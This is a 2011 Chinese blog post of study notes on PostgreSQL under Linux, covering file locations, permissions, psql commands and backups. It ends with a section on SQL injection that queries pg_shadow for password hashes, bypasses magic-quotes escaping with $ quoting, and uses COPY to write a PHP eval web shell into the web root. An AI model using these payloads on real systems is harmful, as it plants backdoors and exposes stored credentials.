Author:LengF PostTime:2011-08-17
相信大家平时关注最多的是Mysql和MSSQL,当然了Oracle也已经备受关注。但是一些比较“少见”的数据库,比如DB2,Postgresql,Sybase ASE,Informix。如果不知道这些数据库的特性就没办法谈注入和管理了。那么本文只是个人学习笔记的一部分,因为碰到了Postgresql了所以就认真看了官方相关文档及一些网络文档。实践并总结了这些分享与大家。本文只描述在Linux平台的postgresql
1.Postgresql概述
Postgresq是从Berkeley的Postgres 项目衍生出的RDBMS,早期版本是4.2和postgresql 95,新版本替换了查询语言为SQL(原本是PostQUEL),并增加了一个交互式的psql。本次测试平台是postgresql8.4+ubuntu 10.04上。
基本信息:
(1)一般默认安装路径
/usr/local/pgsql
/var/lib/pgsql
/usr/lib/postgresql/8.4 # 这是我ubuntu下的默认路径
/usr/syno/pgsql/ # synolog NAS的默认路径
如果不知道安装在那里可以通过下面命令:(同样也可以用find命令)
whereis postgresql
返回:
postgresql: /etc/postgresql /usr/lib/postgresql /usr/share/postgresql
找到默认路径是为了防止一些Linux系统(我碰到)没有将psql这个命令关联的到用户环境变量中。因为我们管理需要用到这个交互式的psql
默认端口为5432,默认情况是没有启用网络的,要开启必须设置tcpip_socket为true,设置listen_address参数。可以采用SSL通信。
(2)权限问题
postgresql在Linux下是不允许以root用户登录和运行的(处于安全考虑)。一般默认在安装过程会创建一个用户postgres的用户,这个用户权限比较低。说到权限问题必须说到几个关键的术语:前端(客户机)、postmaster和后端,必须分清楚,postmaster和后端是不同的,尽管可能用相同的程序实现。前端首先和postmaster通信,指定他要连接数据库,postmaster会验证访问是否得到允许,一旦前端通过身份认证,postmaster会生成一个后端 进程将连接移交过去。随后查询和结果将在前端和后端之间发生。postmaster不再参与。
(3)文件目录
这里只列出安全相关的文件,包括配置文件和数据库本身存放data目录,这些目录值有时候会被赋给$PGDATA的环境变量,所以有时候你找到数据和配置文件放在那里可以尝试执行命令:
echo $PGDATA
本次我测试的没有这个环境变量,因为我没有数据库和配置信息。下面列出重要几个文件
/data/pg_hda.conf # 允许和拒绝访问数据的记录,包括认证方法
/data/postmaster.conf #postmaster的配置
/data/pg_ident.conf # 数据库用户和系统用户映射信息
/data/PG_VERSION # 版本信息
/global/pg_database # 数据库名和路径的映射关系
默认的数据库名有:
"template1"
"template0"
"postgres"
/global/pg_group # 用户组
/global/pg_pwd # 用户名
/global/pg_shadow # 用户密码
不同环境下目录有存在差异,需要自己查找灵活变通。
2.简单的管理
首先你不能通过root账户管理,必须切换到一个运行postgresql最高或者低于这个权限用户(当然要有映射关系),常见用户是postgres和admin,使用命令:
su -l postgres
然后执行:
/usr/lib/postgresql/8.4/bin/psql 数据库|为空
如果后面跟一个存在的数据就表示管理该数据库,如果没有就是和用户名一样的数据库名。常用命令如下:
\copyright # 版本
\h # 命令帮助,和help一样
\? # 查看psql命令
\q # 退出当前管理
进入后输入\? 查看psql帮助,如下:
\e [FILE] # 利用外部编辑器编辑缓冲区的文件或者sql
\f [FUNCNAME] # 函数编辑
\p # 显示查询缓冲区
\r # 清楚查询缓冲区
\s [FILE] # 显示历史或者保存到文件
\w FILE # 将查询写入文件
\copy ... perform SQL COPY with data stream to the client host
\echo [STRING] write string to standard output
\i FILE # 从文件执行命令
\o [FILE] # 发送所有查询结果到文件
在数据库经常使用命令如下:
\l # 列出当前数据库所有的数据库名
\c 数据库 # 连接数据库
\dt # 显示所有表名
\d 表名 # 显示表名
其他SQL语句和其他数据库类似我就不赘述了。
3.导出和导入数据库
导出数据库:
pg_dump database >/home/LengF/pgbackup/database.bak # 指定数据库备份
pg_dumpall >/home/LengF/pgbackup/all.bak # 备份所有数据库
pg_dump database|split -b 500 >/home/LengF/pgbackup/database.bak # 备份并以500kb分割备份文件
导入数据库:
createdb lengf;
psql < 备份文件路径;
基本管理就说了这些。
3.Postgresql注入特性
[1]注入SQL语法基本和其他基本一样
[2]支持/*、/**/、–注释,;和\g表示语句结束,连接字符串用||(类似于mssql中的+)
[3]内置函数:current_database(),session_user,current_user
[4]不要忘记查询下pg_user、pg_group、pg_shadow,还有上面的pg_database
[5]写文件可以和其他数据库一样,但是你还记得我上面的copy命令?
copy (select ‘<?php eval($_POST[a]);?>’) to ‘/var/www/lf.php’
[6]照样可以读文件pg_read_file函数,不过一般比较鸡肋,不推荐
[7]常见架构是PHP+Postgresql,所以我们必须考虑GPC,但是不要怕,我们可以把需要用到单引号的地方换成$即可成功绕过了。
另外推荐一篇SQL注入整理:http://www.2cto.com/Article/201108/100716.html
4.总结
本文重点在于描述postgresql的安全特性,注重于利用。具体还需要大家自行实验和练习。那么掌握了这个数据库,其他数据库你是不是也可以一通百通?扯淡结束。
参考文档:
[1]http://wenku.baidu.com/view/2fc0252c7375a417866f8ffd.html